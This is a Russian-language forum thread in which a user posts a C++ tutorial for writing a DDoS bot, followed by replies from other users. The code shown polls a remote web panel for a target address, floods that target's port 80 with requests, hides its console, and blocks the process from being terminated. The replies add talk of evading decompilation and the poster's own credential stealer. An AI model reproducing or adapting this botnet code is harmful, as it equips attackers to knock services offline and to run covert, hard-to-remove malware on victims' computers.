Загрузка...

Author's article We write our own DDOS bot. C++

Thread in C/C++ created by Checkerchin Oct 25, 2018. 6783 views

  1. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
    ИСКЛЮЧИТЕЛЬНО ДЛЯ ТЕХ, КТО ИЗУЧИЛ C++ ХОТЯ БЫ НАПОЛОВИНУ.

    Всем приветос, сегодня будем писать ddos бота на C++.

    Программы, которые понадобятся (Которые я использовал):
    1. Visual Studio 2015
    На этом всё.

    Создаете новый проект, назовем его ddosguide.

    Ставим такие настройки:
    [IMG]
    ( https://ibb.co/jODSdA )

    Создаем .cpp файл с именем Main.cpp

    Напишите первоначальный код:
    Code

    #include <Windows.h>

    using namespace std;

    int main(){

    return 0;
    }

    Компилируем.

    Далее идем в свойства проекта:
    Project -> [имя проекта] properties.
    Или жмем Alt + F7.

    Configuration: all
    Linker -> Input -> Additional Dependencies
    Добавляем две статические либы:
    Code

    Wininet.lib
    ws2_32.lib
    Первая для HINTERNET
    Вторая для сокетов
    [IMG]
    ( https://ibb.co/f53kyA )
    Жмете Ок -> Применить -> Ок.

    Настройка проекта прошла успешно.

    Пишем код:

    Присоединим заголовочные файлы, который нам понадобятся:

    Code

    #include <Windows.h>
    #include <WinInet.h> //Hinternet
    #include <atlstr.h> // Семейство CString
    #include <thread> // Многопоточность

    Создадим два буфера, первый будет наш основной, для хранения IP, а второй для работы с ним.

    Code

    char buffer[2048]; //Хранение IP
    CStringA another_buffer;
    bool isddos = false;

    Сразу же инициализируем наш сокет:
    Code

    SOCKET s = INVALID_SOCKET;

    По поводу переменных все.

    Перейдем к функциям.
    Первая наша функция будет проверять IP адрес атакуемой цели.

    Code

    DWORD bytesRead;

    while (true) {
    isddos = false;
    HINTERNET hOpen = ::InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); //Открываем интернет соединение.
    HINTERNET hOpenUrl = ::InternetOpenUrl(hOpen, TEXT("тут ссылка на ваш сайт/ip.php"), 0, 0, 0, 0); //В IP.php должен быть ТОЛЬКО IP.
    // Иначе будет мусор

    InternetReadFile(hOpenUrl, buffer, (DWORD)2048, &bytesRead); // Читаем и записываем страницу

    buffer[bytesRead] = 0; //Убираем лишние.
    another_buffer = buffer;
    isddos = true;

    Sleep(900000);
    }

    Что такое 900000 ? Число. Это 15 минут в миллисекундах. Именно раз в 15 минут мы будем опрашивать нашу аля веб панель на IP адрес.

    Далее перейдем к подготовке нашего сокета и WSA.

    Code

    void SetUp() {
    WSADATA wd; //Структура для WSA
    if (WSAStartup(MAKEWORD(2, 2), &wd) == 0) {
    s = socket(AF_INET, SOCK_STREAM, 0); // Реализуем сокет
    hostent* host; // Структура для IP

    host = gethostbyname(another_buffer.GetString());

    SOCKADDR_IN sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.S_un.S_addr = *((unsigned long*)host->h_addr); //Записываем IP.
    /*
    Если вам нужно ddosить конкретный IP, то можете обойтись без структуры hostent.
    Сделайте вот так:
    sin.sin_addr.S_un.S_un_b.s_b1 = 127;
    sin.sin_addr.S_un.S_un_b.s_b2 = 0;
    sin.sin_addr.S_un.S_un_b.s_b3 = 0;
    sin.sin_addr.S_un.S_un_b.s_b4 = 0;
    */
    sin.sin_port = htons(80);

    if (connect(s, (sockaddr*)&sin, sizeof(sin)) == 0) {
    SendReq(s, "DDOS testing tool"); //Вызываем нашу функцию отправки пакетов. Кстати её пишите до SetUp()
    }
    }
    }

    Тут думаю все понятно.

    Теперь перейдем к отправке запросов.

    Code

    void SendReq(SOCKET so, CStringA buffer1) {
    while (isddos) {
    send(so, buffer1.GetString(), buffer1.GetLength(), 0); //Отправляем
    }
    }
    Кстати, если вас так не устраивает, то можете отправлять запросы при помощи HttpSendRequest из wininet
    https://stackoverflow.com/questions/10106816/how-to-contruct-httpsendrequest-method-of-wininet вот там примерчик (надеюсь это не посчитают за форум конкурент :admin:)

    Ну а теперь фукнция int main()

    Code

    int main() {

    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    //Убираем консоль

    thread check_th(check); //Запускаем в отдельном потоке функцию, которая сканирует наш файл на хостинге
    SetUp(); //Запускаем


    return 0;
    }

    Далее вы сами сделаете авторан и заблокируете возможность закрытие процесса, она кстати делается вот так:

    Code

    BOOL DenyAccess() {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    SECURITY_ATTRIBUTES sa;
    TCHAR * szSD = TEXT("D:P");
    TEXT("(D;OICI;GA;;;BG)");
    TEXT("(D;OICI;GA;;;AN)");
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = FALSE;

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL))
    return FALSE;

    if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor))
    return FALSE;

    return TRUE;
    }

    Полный исход: https://yadi.sk/d/YiZl4KZtKjxI1w

    Всем спасибо за внимание.
    #МояСтатья
    #ДайтеАвторкуПожалуйста)))

    RaysMorgan
     
  2. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
    Пишите ваши вопросы.
    Пишите ваши мнения.
     
  3. White_Man
    White_Man Oct 25, 2018 Децл дизайнер 171 Aug 8, 2017
  4. renameduser_471445
  5. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
    нет. Тк не сейчас хостинга у меня без рекламы на каждой стр.
    Ну я подкинул идею, и половину реализации. Сам потестишь с ваершарком
     
  6. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
  7. RaysMorgan
    RaysMorgan Oct 25, 2018 Че скажете 54,010 Mar 7, 2013
    Checkerchin, а в чем профит писать на плюсах, а не на шарпе?
     
  8. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
    Декомпиляция шарпа очень меня беспокоит.
    Я даже стиллак свой переписал.
    А так шарп топ тема
     
  9. Retrl
    Retrl Oct 25, 2018 $uicideboy$ in heart <3 0 Feb 27, 2017
    Checkerchin, как реверсить c++ ? не так же просто как # ?
     
  10. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
    Насчет ревёрса не знаю. Вроде как реверсят и крупные проекты, особенно люди, которые делают читы.
    Декомпилировать его точно нельзя. Только дизассемблер.
     
  11. RaysMorgan
    RaysMorgan Oct 25, 2018 Че скажете 54,010 Mar 7, 2013
    Checkerchin, а смысл ддос софт реверсить? Его жертва захочет разобрать?))
     
  12. sadovik
    sadovik Oct 25, 2018 350 Mar 22, 2017
    Много умных людей, подскажите с чего начинать создавать онлайн кинотеатр?
     
  13. obirkos
    obirkos Oct 25, 2018 Banned 274 Jan 1, 2018
    Вроде годно,спасибо за гайд!
     
  14. RaysMorgan
    RaysMorgan Oct 25, 2018 Че скажете 54,010 Mar 7, 2013
    sadovik, с написания сообщений в подходящих темах
     
  15. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
    Вот хз, типо если полиция, то воспользуются интернет фильтром, типо httpanalyzer. А так можно и на шарпе было написать.
     
  16. Retrl
    Retrl Oct 25, 2018 $uicideboy$ in heart <3 0 Feb 27, 2017
    меня на майнер посадили , нашел и обезвредил , просто интересно код глянуть
     
  17. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
    Смотря какой майнер и смотря как защищен.
     
  18. muslik95
    muslik95 Oct 25, 2018 5 Aug 8, 2017
    Спасибо за гайд! Думаю пригодится)
     
  19. Retrl
    Retrl Oct 25, 2018 $uicideboy$ in heart <3 0 Feb 27, 2017
  20. Checkerchin
    Checkerchin Topic starter Oct 25, 2018 178 Apr 16, 2017
Loading...
Top